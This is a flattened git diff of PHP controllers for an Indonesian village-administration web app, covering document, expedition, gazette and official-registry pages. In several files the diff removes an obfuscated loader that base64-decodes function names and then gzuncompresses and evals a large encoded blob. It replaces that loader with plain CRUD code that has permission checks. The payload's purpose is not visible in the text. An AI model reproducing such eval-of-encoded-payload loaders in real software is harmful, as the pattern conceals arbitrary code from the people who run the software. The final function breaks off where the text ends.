$this->load_form_peraturan($page_number, $offset, $key)); + break; + } + return $data; + } + public function load_form_ekspedisi($page_number, $offset, $key) + { + } + public function load_form_berita($page_number, $offset, $key) + { + } + // FORM END + // INSERT + public function insert($page) + { + switch (strtolower($page)) { + case 'ekspedisi': + break; + case 'berita': + break; + default: + break; + } + } + // INSERT END + // DELETE + public function delete($page, $p = 1, $o = 0, $id = '') + { + switch (strtolower($page)) { + case 'ekspedisi': + break; + case 'berita': + break; + default: + break; + } + } + public function delete_all($page, $p = 1, $o = 0) + { + switch (strtolower($page)) { + case 'ekspedisi': + break; + case 'berita': + break; + default: + break; + } + } + // UPDATE + public function update($page, $p = 1, $o = 0, $id = '') + { + switch (strtolower($page)) { + case 'ekspedisi': + break; + case 'berita': + break; + default: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - $_____=' b2JfZW5kX2NsZWFu'; $______________='cmV0dXJuIGV2YWwoJF8pOw=='; -$__________________='X19sYW1iZGE='; - - $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXNtyo8YWfZ+q8w/zkCrnVM5JAI0mQ03Ng5AFAsvSAKK5vKS42EjmImLdjL7+rA3ClmTJ48wlVSeldhxbArr3Ze21V7ecvH1bj5/+wPh0UdxP88Xtxcfq5XZ8uohm+d3sv35R/BbO8sX9LE1v7ue/Bctk+ccyW2a/Sctsmkc38+rVr8WkeNtN/fn8119/vfj4ZrvA23+9OX+dv3701xtC7tvvOD49e+fC4cW5a/NTT+l9uqjeekL5q8a2uj69PY/zOI/z+GeOizBjXORoS1VhgmuvZ5os3jpl8ntNmmDNmq7/OIfqPM7jPM7jPM7jPM7jPM7j/22cjzPO4zzO4zz+ueMi8Oc379/9Ed2Es+jm4uM5IudxHudxHudxHt809v/k4lKfDbvTD3/iZ3wVc1dqdxYbWTr3TKkIsiR2Mzn3bXmpKsYkzJL3u/eNW1IapEPN6FSvMU/nT1UeFmHLSIPqeW8VZvwkFJLYU9jGNaVNRJ9nO2ocKax0c3aP9/ggN3i/lBaezU98es9+V9+v78zbk9eBkt67zrAgW4KptAlamEOwYlcQk8ZeT0lL334owlLCOlqC+2H3gu6f+84wDXI834v0cVeyr9e7808msOHSdyTONTvl9WWnrXa5+Pqu8zA0pctA4Ke+3U5VWUtDQeTDbJiqvXQJX4uozzjfFpdqdzKL+sZ6NP2wCvpsAf+WnrBYBQ5b+g7iV7aXnqOvrmq/YlOR79Ue4tU3Juqlur4eu/GgWlvdqLKUwm4+cBAfBfHvGVi3FxtKmtNcQVey4N80sheTZt1wM1sNBHHt2e3Eg9+DLE2u9mKIvGQRxaKJFcWo8AXKb/ret9/N1f4wdQW5RF7yMJM537meq8oiDRU5ofwBC2v8XEfI0Q1w4VV5ayPO0iRSqjhvXMQ/yORlhZWphGtaofbJH5niMYm60jyy2xTvrR20vlcEioXfxXtgBHkyKtwQTmBfEXU7MzXZwQBi75tqMeg+4idB7rDGw8RvVRiqfUZsg1yaqIoG+2TYRj4iloRL3KcqVd53MNjOvRZbujb5so4Dmy3h57yKjcJT/HjUxKzGoEhz8vX7BuEe2NP4UEhp/fnWf/gh05o87qE11q6NfPeHbcSFYlHnoMW4UbxbR6gtG1jLUs61JzzVhE94UbZ4UQzUgcy5znUdv/6R+52iaHKNZ8uoujfdYD2u9g+5sR8mwRaPoUA4ltewbYI4L2kOF1iLTGnq2lFBr0OFLSNcQ96lUHkg7Gx8U9KwBjCqTaocl484abuI5zZuM2CER13uxCya+bR+Fu3k64gfdruo7lcIP9EknEr3nmMQRqrrAflkt8mOZzbt8pXVY6ZutfsmJ1tq74GNE3kAHI1MU+qZbCgbvVTCtZHa1caGpUkGJ2tjSx7pmNfoySPb6k2BNwtz6HjvSrd4DXOMwE30WmcWMNLTJNOaxwxrWTzWY3qMORj+GW3xYBlMG5tMk1j3Hdk0YtaDZiGerCcz5F0eW6xPdoKTJBOcZDKsaUpjrCeBX2XYeA2bLdMy6HoX85FNQBgbGSXsYpGkT6v5xmpvca1b6RB2D3Afszh5oFvvYp0ZEmt4iGOObhWa3vjCJDZunid7EjCc1ZYenzMlmnM0TlPYY8hWspBM+Innrk1rIVlcEptWWxvs4rlHuB8iz1GqdjuHvSPWgYlImazCaSdWEWPf5mJLIf4Ej9aY+kzYM576Ap4ZrsI+8X00Qx2prj2PdSFdR0qPeHs9MjuLmlctvC9iHuDWlExw4ypytDuPMJIPwXEG1k5XwbQz8/sGF14Sjz7wwCFP2AT342dKtbYMMsYNyqTx6S5oSW1gNff7+t/J5/D9oXAFtgzR/xCvx74TtaLWIIuWkdlG7w1XqI07qg3PuV55LWk+yCZcYK9jg5euVdndbDHZoXr3S4o9vpUJF/WlDc3nCSnn99l0kA1XgSlWObC4tDfgKrvGpqVXsajn+TDsIufo3Rn1Sq8b58DU2GCEpTi/MqUPt10pvVFS7qobjYKKs7XUbengnmFJvRecdge/NsQTgfKwigSWaGXye6VTsuEc3L9BjSE3yCWw4LTYIgJWPGfCUZzwnOQpfBGkInp2mwszcR6gh1zqBc1R+RfCH4oLeg7yOqx7tyzeQkdQPy8jewj7qhxTbB+fq7774PMMHHg5e+/w4h3W2ER9jYcPs6vxfPtM/a31jRn65+Jzxq+8Pps7AvWsjqh2I8ozP7DlhPyALoGdxFl8lWdt08wjibU+q35Hz9XQh8Dh0BUudEcgVNyIZ+JZjQuyb98G2NrEeKYJxgp9hnrcLbj+nv5shnqzC00Skh5DHRB/O0KFzdV1GRajdTMvV+W2nvfDCnUv6cmDbD1el9AXgclSytDb7+p6gpaCzcDeTEPcPGD1s9nJd9fSynVcX2O3QU61zkr1ErrLxPuKmHn5MEXvF9XLTtHk4aZZs/5OwBvQe9wv6OdTR3gW60mFhyylPJGmAF5Qz2b4+1Ns6+9B+aHqgaSBwtaQ4rt33bfd+Aq9hu656hq3FsfGqIXP43Sek2byzSi6MpND+2osQC+g7wWaQHo0yZ3KtuNzjPael0RVYXOq89fPG+aHcxz6+pIvHvQ/6S6N5wrU7D7+tzH3SHuwvXspt4nDD2WLH2pjrg2boOlIa02/1qen5wkTWhke1OIuJqt5C484HBwBnU1/BqaP+aFll9Ea3HoLDZt7L+VIFsFVQ3CaODp8plr/xHxHYr0zr5GQhjox38n19ufsrAbQVPCJ8ImcVbWFvqwf+F/dNw8EOVGrGPZiLxNL0oohuN91UtRBCE2nQ1fL4EC2OWYr2QZeQI2mt9C/Jep2VuekN8c9nA/cDMbtah1wBeXqtpkPWFpTjx8AI5UvTFxu93z07MrLPPKjqLhy3/bEVxhqta7/J+6cpNDLaZiKiwC8FHS5X8AVXL1ub3ZsnoYPAkWceLg/ytI0KuO8mb/iHGU77zQ5wPe+f/gp+DZroV8tXcfNT3P8w8q19cXn3Cs8JwTXPvWoQd2jVoEtQ4+H8ybOr5/LWwUtsvUEH/cl9E4P8bD2ekPlvyxWazktYwJ+TsMyrvNiPuddylkgeFnFCSf6yWNttrCXVhh4ngED7UnU1GjN88+4NWxFRaQMZ9A2xMNcIFS9vWzwcqomwYkbDz3Dsxcb9A30smGhbfbnfsZLxIHY76C/tNEPoLsw/zbmg0N8yGLqt4bQMqgRIb2teU086FsnYmQmx7ixtjtHz7Xnz+JQ6ytwNbgPGKn3OWb4/tQ827oDt0J35NrkhokL8ATyF299XR/gxrglO0lTnqpN5Iuv9ljT3R6bFKMj8a/t1UrPlu/p+nM7pcSzgT37Ybt/PZaXr+EV6BPsEWi/6rMTGH6JW47iQ5pC80z8zf71W/3Ar76WYsdTYj9Qx3h8XI8hdwLsSvd0pFLnYBevX84D6Zverg/US9dfrEGBn0D/Vbo1on15d1uDR7jn8Z49vCcHOuGpr5OWgobjAsUiTVFdJ+2m5+w+MiX5cI7vHb/XY/gvxo7Ot3LoXsStPpPcwQdiB+3fCloa9hETzAVM2u0c3L/xsBeEDY02zp/X/mOfX7iIvSNgv5TTGYW+1WSk+UmH4vlSxD6QLQaP9zz5q21O8i3v5gY49CElrdXYqyYa77eseKxU++SSzkNuSuPAXlncnpl26ayJ+OToPXeHvVQqvUqnv2t46NHnW/3IXqA81CS41vM+Wwn34h6GNEpgNn2pihVpoQlhCP7kR7QE5fhhl4urPUOX+GyR3lT8D3wo6x++Z9jh58AZz09dezV378fi5R5Nv/sCa2+xeLB2o2+qfUbDrTPweEI6M7BF8PYa60ZptNUI2PM+n+ekJmnmr/TMdl71sIec1GJBJgu1DiPt8GoNdqSGiANrjNQxffVcWSCIHGze0XR/gd+/Jk9f1FSdZl+4z3F3p/j/Q3N/w30n8PmP0msZ+Hmxpw/MF/UA/X7vOcnrdEF82qcnjv4R/jRa8Mf6QmdzrsPm0eUP8KFVfcZD/ykWes139OM7aLVjfedb8fSst+zvyY6dh221bfW56GPPf1mXNz3t+Xnkbizo7MpIRHNsHuvB6cjimMk6L9pWBFgvzPXmrO5E75Q2kQCcCnF81R9yYW6sEMcWYvT43PEzI+nOdYYpeuu+/oyP7Sm+eg/17TURf3kPdOysZ08PNfHuHsuFIY97zDL0F3OB3vyQYj/fxJQwt346F/1Qadyqr9iV3s218tR59bAFjN353c6sOttWxHnQioCxpnclxWE/2o/vbl18fYyPcmj87fvNV2Bn/7zwldwATMzpM0ZHkOdBd7fPd560Z/nSufS5Tk7VyS5nMSb1dGbIL34202dr4nbPfDEPVCOF163Pv09+HvK9dc3XYbjJ8XS7H/uG/Bqpl8l80Ndfl9eDXrpfF9X5MbN6hsR6VmxY7d6lXlDuPl18fPPm7/8jpU/Vz5+3r/798a88vvPsax786WnBny/o3xf/eVz2/P+WOX/9nf9vmX1M/rxXBDUk//3xfw3ddFM='; - - $___();$__________($______($__($_))); $________=$____(); - $_____(); echo - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - $________; + break; + } + } + // UPDATE END +} diff --git a/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php b/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php index 1b9d0bf91..1de8a18ae 100644 --- a/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php +++ b/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php @@ -1,649 +1,255 @@ -load->model('web_dokumen_model'); + $this->_set_page = ['50', '100', '200']; + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + } + + public function index($kat = 2, $p = 1, $o = 0) + { + if ($this->input->post('per_page') !== null) { + $this->session->per_page = $this->input->post('per_page'); + } + redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}"); + } + + // Produk Hukum Desa + public function peraturan_desa($kat = 2, $p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['kat'] = $kat; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $data['func'] = "index/{$kat}"; + $data['set_page'] = $this->_set_page; + $data['per_page'] = $this->session->per_page; + $data['kat_nama'] = $this->web_dokumen_model->kat_nama($kat); + $data['paging'] = $this->web_dokumen_model->paging($kat, $p, $o); + $data['main'] = $this->web_dokumen_model->list_data($kat, $o, $data['paging']->offset, $data['paging']->per_page); + $data['list_tahun'] = $this->web_dokumen_model->list_tahun($kat); + $data['keyword'] = $this->web_dokumen_model->autocomplete(); + $data['submenu'] = $this->referensi_model->list_data('ref_dokumen'); + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + $data['sub_kategori'] = $_SESSION['sub_kategori']; + $_SESSION['menu_kategori'] = true; + + foreach ($data['submenu'] as $s) { + if ($kat == $s['id']) { + $_SESSION['submenu'] = $s['id']; + $_SESSION['sub_kategori'] = $s['kategori']; + $_SESSION['kode_kategori'] = $s['id']; + } + } + + $data['main_content'] = 'dokumen/table_buku_umum'; + $data['subtitle'] = ($kat == '3') ? 'Buku Peraturan Di ' . ucwords($this->setting->sebutan_desa) : 'Buku Keputusan ' . ucwords($this->setting->sebutan_kepala_desa); + $data['selected_nav'] = ($kat == '3') ? 'peraturan' : 'keputusan'; + + $this->render('bumindes/umum/main', $data); + } + + public function clear($kat = 2) + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->_set_page[0]; + redirect("dokumen_sekretariat/peraturan_desa/{$kat}"); + } + + public function form($kat = 2, $p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + $data['kat'] = $kat; + $data['list_kategori'] = $this->web_dokumen_model->list_kategori(); + + if ($kat == 3) { + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + } + + if ($id) { + $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id); + $data['form_action'] = site_url("dokumen_sekretariat/update/{$kat}/{$id}/{$p}/{$o}"); + } else { + $data['dokumen'] = null; + $data['form_action'] = site_url('dokumen_sekretariat/insert'); + } + $data['kat_nama'] = $this->web_dokumen_model->kat_nama($kat); + + $this->_set_tab($kat); + $this->render('dokumen/form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + $kat = $this->input->post('kategori'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect("dokumen_sekretariat/index/{$kat}"); + } + + public function filter($filter = 'filter') + { + $this->session->{$filter} = $this->input->post($filter); + $kat = $this->input->post('kategori'); + redirect("dokumen_sekretariat/index/{$kat}"); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $_SESSION['success'] = 1; + $kat = $this->input->post('kategori'); + $outp = $this->web_dokumen_model->insert(); + if (! $outp) { + $_SESSION['success'] = -1; + } + redirect("dokumen_sekretariat/peraturan_desa/{$kat}"); + } + + public function update($kat, $id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $_SESSION['success'] = 1; + $kategori = $this->input->post('kategori'); + if (! empty($kategori)) { + $kat = $this->input->post('kategori'); + } + $outp = $this->web_dokumen_model->update($id); + if (! $outp) { + $_SESSION['success'] = -1; + } + redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}"); + } + + public function delete($kat = 1, $p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->web_dokumen_model->delete($id); + redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}"); + } + + public function delete_all($kat = 1, $p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->web_dokumen_model->delete_all(); + redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}"); + } + + public function dokumen_lock($kat = 1, $id = '') + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->dokumen_lock($id, 1); + redirect("dokumen_sekretariat/peraturan_desa/{$kat}/"); + } + + public function dokumen_unlock($kat = 1, $id = '') + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->dokumen_lock($id, 2); + redirect("dokumen_sekretariat/peraturan_desa/{$kat}/"); + } + + public function dialog_cetak($kat = 1) + { + redirect("dokumen/dialog_cetak/{$kat}"); + } + + public function dialog_excel($kat = 1) + { + redirect("dokumen/dialog_excel/{$kat}"); + } + + private function _set_tab($kat) + { + switch ($kat) { + case '2': + $this->tab_ini = 59; + break; + + case '3': + $this->tab_ini = 60; + break; + + default: + $this->tab_ini = 59; + break; + } + } + + /** + * Unduh berkas berdasarkan kolom dokumen.id + * + * @param int $id_dokumen Id berkas pada koloam dokumen.id + * @param int $kat + * @param int $tipe + * + * @return void + */ + public function berkas($id_dokumen = 0, $kat = 1, $tipe = 0) + { + // Ambil nama berkas dari database + $data = $this->web_dokumen_model->get_dokumen($id_dokumen); + + if ($data['url'] != null) { + redirect($data['url']); + } + + ambilBerkas($data['satuan'], $this->controller . '/peraturan_desa/' . $kat, null, LOKASI_DOKUMEN, ($tipe == 1) ? true : false); + } +} diff --git a/donjo-app/controllers/buku_umum/Ekspedisi.php b/donjo-app/controllers/buku_umum/Ekspedisi.php index edaa87668..5cddb868f 100644 --- a/donjo-app/controllers/buku_umum/Ekspedisi.php +++ b/donjo-app/controllers/buku_umum/Ekspedisi.php @@ -1,569 +1,165 @@ -load->helper('download'); + $this->load->model('surat_keluar_model'); + $this->load->model('ekspedisi_model'); + $this->load->model('klasifikasi_model'); + $this->load->model('pamong_model'); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + } + + public function clear() + { + $this->session->per_page = 20; + $this->session->cari = null; + $this->session->filter = null; + redirect('ekspedisi'); + } + + public function index($p = 1, $o = 2) + { + $data['p'] = $p; + $data['o'] = $o; + + $data['cari'] = $this->session->cari ?: ''; + $data['filter'] = $this->session->filter ?: ''; + $this->session->per_page = $this->input->post('per_page') ?: null; + + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->ekspedisi_model->paging($p, $o); + $data['main'] = $this->ekspedisi_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['tahun_surat'] = $this->ekspedisi_model->list_tahun_surat(); + $data['keyword'] = $this->ekspedisi_model->autocomplete(); + $data['main_content'] = 'ekspedisi/table'; + $data['subtitle'] = 'Buku Ekspedisi'; + $data['selected_nav'] = 'ekspedisi'; + + $this->render('bumindes/umum/main', $data); + } + + public function form($p, $o, $id) + { + $this->redirect_hak_akses('u'); + $data['klasifikasi'] = $this->klasifikasi_model->list_kode(); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['surat_keluar'] = $this->surat_keluar_model->get_surat_keluar($id) ?? show_404(); + $data['form_action'] = site_url("ekspedisi/update/{$p}/{$o}/{$id}"); + } + + // Buang unique id pada link nama file + $berkas = explode('__sid__', $data['surat_keluar']['tanda_terima']); + $namaFile = $berkas[0]; + $ekstensiFile = explode('.', end($berkas)); + $ekstensiFile = end($ekstensiFile); + $data['surat_keluar']['tanda_terima'] = $namaFile . '.' . $ekstensiFile; + $this->render('ekspedisi/form', $data); + } + + public function search() + { + $this->session->cari = $this->input->post('cari') ?: null; + redirect('ekspedisi'); + } + + public function filter() + { + $this->session->filter = $this->input->post('filter') ?: null; + redirect('ekspedisi'); + } + + public function update($p, $o, $id) + { + $this->redirect_hak_akses('u'); + $this->ekspedisi_model->update($id); + redirect("ekspedisi/index/{$p}/{$o}"); + } + + public function dialog($aksi = 'cetak', $o = 0) + { + $data['aksi'] = $aksi; + $data['tahun_surat'] = $this->ekspedisi_model->list_tahun_surat(); + $data['form_action'] = site_url("ekspedisi/daftar/{$aksi}/{$o}"); + + $this->load->view('ekspedisi/ajax_cetak', $data); + } + + public function daftar($aksi = 'cetak', $o = 1) + { + // TODO :: gunakan view global penandatangan + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + $data['input'] = $_POST; + $_SESSION['filter'] = $data['input']['tahun']; + $data['desa'] = $this->header['desa']; + $data['main'] = $this->ekspedisi_model->list_data($o, 0, 10000); + + $this->load->view("ekspedisi/ekspedisi_{$aksi}", $data); + } + + /** + * Unduh berkas tanda terima berdasarkan kolom surat_keluar.id + * + * @param int $id ID surat_keluar + * + * @return void + */ + public function unduh_tanda_terima($id) + { + // Ambil nama berkas dari database + $berkas = $this->ekspedisi_model->get_tanda_terima($id); + ambilBerkas($berkas, 'surat_keluar', '__sid__'); + } + + public function bukan_ekspedisi($p, $o, $id) + { + $this->surat_keluar_model->untuk_ekspedisi($id, $masuk = 0); + redirect("ekspedisi/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/buku_umum/Lembaran_desa.php b/donjo-app/controllers/buku_umum/Lembaran_desa.php index 91321fc15..13cd4104e 100644 --- a/donjo-app/controllers/buku_umum/Lembaran_desa.php +++ b/donjo-app/controllers/buku_umum/Lembaran_desa.php @@ -1,601 +1,195 @@ -load->model(['web_dokumen_model', 'pamong_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + $this->_list_session = ['filter', 'cari', 'jenis_peraturan']; + $this->_set_page = ['20', '50', '100']; + } + + // Buku Lembaran Desa dan Berita Desa + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $kat = 3; + + $data['cari'] = $this->session->cari ?: ''; + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->web_dokumen_model->paging($kat, $p, $o); + $data['main'] = $this->web_dokumen_model->list_data($kat, $o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_dokumen_model->autocomplete(); + $data['submenu'] = $this->referensi_model->list_data('ref_dokumen'); + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + $data['sub_kategori'] = $_SESSION['sub_kategori']; + $_SESSION['menu_kategori'] = true; + + foreach ($data['submenu'] as $s) { + if ($kat == $s['id']) { + $_SESSION['submenu'] = $s['id']; + $_SESSION['sub_kategori'] = $s['kategori']; + $_SESSION['kode_kategori'] = $s['id']; + } + } + + $sebutan_desa = ucwords(setting('sebutan_desa')); + $data['main_content'] = 'dokumen/table_lembaran_desa'; + $data['subtitle'] = "Buku Lembaran {$sebutan_desa} Dan Berita {$sebutan_desa}"; + $data['selected_nav'] = 'lembaran'; + + $this->render('bumindes/umum/main', $data); + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + redirect('lembaran_desa'); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id) ?? show_404(); + $data['form_action'] = site_url("lembaran_desa/update/{$id}/{$p}/{$o}"); + } + + $data['kat'] = 3; + $data['kat_nama'] = 'Lembaran Desa'; + $data['kembali_ke'] = site_url("lembaran_desa/index/{$p}/{$o}"); + $data['list_kategori'] = $this->web_dokumen_model->list_kategori(); + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + + $this->render('dokumen/form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + $this->session->cari = $cari ?: null; + redirect('lembaran_desa/index'); + } + + public function filter($filter = 'filter') + { + $this->session->{$filter} = $this->input->post($filter); + redirect('lembaran_desa/index'); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->session->success = 1; + $outp = $this->web_dokumen_model->update($id); + status_sukses($outp); + redirect("lembaran_desa/index/{$p}/{$o}"); + } + + public function lock($id, $val = 1) + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->dokumen_lock($id, $val); + redirect('lembaran_desa'); + } + + public function dialog_daftar($aksi = 'cetak', $o = 0) + { + $data['aksi'] = $aksi; + $data['form_action'] = site_url("lembaran_desa/daftar/{$aksi}/{$o}"); + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + $data['tahun_laporan'] = $this->web_dokumen_model->list_tahun($kat = 3); + + $this->load->view('dokumen/dialog_cetak', $data); + } + + public function daftar($aksi = 'cetak', $o = 1) + { + $data = $this->data_cetak($aksi); + $template = $data['template']; + $this->load->view("dokumen/{$template}", $data); + } + + private function data_cetak($aksi) + { + // TODO :: gunakan view global penandatangan + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + $post = $this->input->post(); + $data['main'] = $this->web_dokumen_model->data_cetak($kat = 3, $post['tahun'], $post['jenis_peraturan']); + $data['input'] = $post; + $data['tahun'] = $post['tahun']; + $data['desa'] = $this->header['desa']; + $data['aksi'] = $aksi; + $data['template'] = 'lembaran_desa_print'; + + return $data; + } + + /** + * Unduh berkas berdasarkan kolom dokumen.id + * + * @param int $id_dokumen Id berkas pada koloam dokumen.id + * + * @return void + */ + public function unduh_berkas($id_dokumen = 0) + { + // Ambil nama berkas dari database + $data = $this->web_dokumen_model->get_dokumen($id_dokumen); + ambilBerkas($data['satuan'], $this->controller, null, LOKASI_DOKUMEN); + } +} diff --git a/donjo-app/controllers/buku_umum/Pengurus.php b/donjo-app/controllers/buku_umum/Pengurus.php index da35479f2..ea941a279 100644 --- a/donjo-app/controllers/buku_umum/Pengurus.php +++ b/donjo-app/controllers/buku_umum/Pengurus.php @@ -1,561 +1,418 @@ -load->model(['pamong_model', 'penduduk_model', 'wilayah_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + $this->_set_page = ['20', '50', '100']; + $this->_list_session = ['status', 'cari']; + $this->header['kategori'] = 'Pemerintah Desa'; + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + $this->session->status = 1; + redirect('pengurus'); + } + + public function index($p = 1) + { + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->pamong_model->paging($p); + $data['main'] = $this->pamong_model->list_data($data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->pamong_model->autocomplete(); + $data['main_content'] = 'home/pengurus'; + $data['subtitle'] = 'Buku ' . ucwords(setting('sebutan_pemerintah_desa')); + $data['selected_nav'] = 'aparat'; + $data['jabatanSekdes'] = sekdes()->id; + $data['jabatanKadesSekdes'] = RefJabatan::getKadesSekdes(); + + $this->render('bumindes/umum/main', $data); + } + + public function form($id = 0) + { + $this->redirect_hak_akses('u'); + $id_pend = $this->input->post('id_pend'); + + if ($id) { + $data['aksi'] = 'Ubah'; + $data['pamong'] = $this->pamong_model->get_data($id) ?? show_404(); + if (! isset($id_pend)) { + $id_pend = $data['pamong']['id_pend']; + } + $data['form_action'] = site_url("pengurus/update/{$id}"); + } else { + $data['aksi'] = 'Tambah'; + $data['pamong'] = null; + $data['form_action'] = site_url('pengurus/insert'); + } + + $semua_jabatan = RefJabatan::urut()->latest()->pluck('nama', 'id'); + + // Cek apakah kades + $jabatan_kades = kades()->id; + if (Pamong::where('jabatan_id', $jabatan_kades)->where('pamong_status', 1)->exists() && $data['pamong']['jabatan_id'] != $jabatan_kades) { + $semua_jabatan = $semua_jabatan->except($jabatan_kades); + } + + $jabatan_sekdes = RefJabatan::getSekdes()->id; + // Cek apakah sekdes + $jabatan_sekdes = sekdes()->id; + if (Pamong::where('jabatan_id', $jabatan_sekdes)->where('pamong_status', 1)->exists() && $data['pamong']['jabatan_id'] != $jabatan_sekdes) { + $semua_jabatan = $semua_jabatan->except($jabatan_sekdes); + } + + $data['jabatan'] = $semua_jabatan; + $data['atasan'] = $this->pamong_model->list_atasan($id); + $data['pendidikan_kk'] = PendidikanKK::pluck('nama', 'id'); + $data['agama'] = Agama::pluck('nama', 'id'); + + if (! empty($id_pend)) { + // TODO :: OpenKab - Tambahkan filter berdasarkan config_id + $data['individu'] = $this->penduduk_model->get_penduduk($id_pend); + } else { + $data['individu'] = null; + } + + return view('admin.pengurus.form', $data); + } + + public function filter($filter) + { + $this->redirect_hak_akses('u'); + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('pengurus'); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->set_validasi(); + $this->form_validation->set_rules('pamong_tag_id_card', 'Tag ID Card', 'is_unique[tweb_desa_pamong.pamong_tag_id_card]]'); + + if ($this->form_validation->run() !== true) { + session_error(trim(validation_errors())); + redirect('pengurus/form'); + } else { + $this->pamong_model->insert(); + redirect('pengurus'); + } + } + + public function update($id = 0) + { + $this->redirect_hak_akses('u'); + $this->set_validasi(); + + $this->form_validation->set_rules('pamong_tag_id_card', 'Tag ID Card', "is_unique[tweb_desa_pamong.pamong_tag_id_card,pamong_id,{$id}]"); + + if ($this->form_validation->run() !== true) { + session_error(trim(validation_errors())); + redirect("pengurus/form/{$id}"); + } else { + $this->pamong_model->update($id); + redirect('pengurus'); + } + } + + private function set_validasi() + { + $this->load->library('form_validation'); + $this->form_validation->set_error_delimiters('', ''); + } + + public function delete($id = 0) + { + $this->redirect_hak_akses('h'); + $this->pamong_model->delete($id); + redirect('pengurus'); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->pamong_model->delete_all(); + redirect('pengurus'); + } + + public function ttd($id = 0, $val = 0) + { + 